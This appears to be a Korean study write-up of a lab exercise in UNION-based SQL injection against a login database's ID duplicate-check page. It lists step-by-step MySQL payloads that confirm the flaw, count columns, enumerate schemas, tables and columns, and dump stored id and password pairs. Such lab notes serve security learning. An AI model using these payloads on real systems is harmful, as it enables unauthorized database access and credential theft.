UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습
1. 취약점 확인
- '(작은 따움표) 조회
- 오류 발생
- admi' 'n
- mysql에서는 ' '사이는 자동으로 연결해주는 역할을 한다.
- 그래서 쿼리문을 통해 작동된다는걸 알 수 있다.
2. 컬럼 개수 확인(order by)
' order by 1# | 정상 출력 |
' order by 2# | 정상 출력 |
' order by 3# | 에러 발생 |
' order by 4# | 에러 발생 |
' order by 5# | 에러 발생 |
- order by 3 이후로 에러가 발생해서 컬럼 개수는 2개 임을 알 수 있다.
3. 출력할 컬럼 위치 확인(union all)
' union all select 'test', null#
- 첫번째 컬럼에 'test' 입력하니까 웹 화면에 출력되는걸 확인할 수 있다.
- 이제 여기에 각종 정보들을 출력시킬 것이다.
' union all select (version()), null#
- DB 버전 정보
' union all select (system_user()), null#
- DB 계정 정보
' union all select (database()), null#
- DB 이름 정보
4. DB 목록화
' union all select count(*), null from information_schema.schemata#
- DB 개수
' union all select schema_name, null from information_schema.schemata limit 7,1#
- DB 이름 순차적 레코드
5. Table 목록화
' union all select count(*), null from information_schema.tables where table_schema='login_example'#
- 'login_example' DB의 테이블 개수
' union all select table_name, null from information_schema.tables where table_schema='login_example' limit 0,1#
- 'login_example' DB의 1행 테이블 목록
6. 컬럼 목록화
' union all select count(*), null from information_schema.columns where table_schema='login_example' and table_name='member'#
- 'login_example' DB의 'member'의 Table의 컬럼 개수
' union all select column_name, null from information_schema.columns where table_schema='login_example' and table_name='member' limit 0,1#
- 첫번째 컬럼 'id'
' union all select column_name, null from information_schema.columns where table_schema='login_example' and table_name='member' limit 1,1#
- 두번째 컬럼 'pw'
7. 테이터 조회
' union all select count(*), null from login_example.member#
' union all select concat(id, '###', pw), null from login_example.member limit 0,1#
- 첫번째 데이터
' union all select concat(id, '###', pw), null from login_example.member limit 1,1#
- 두번째 데이터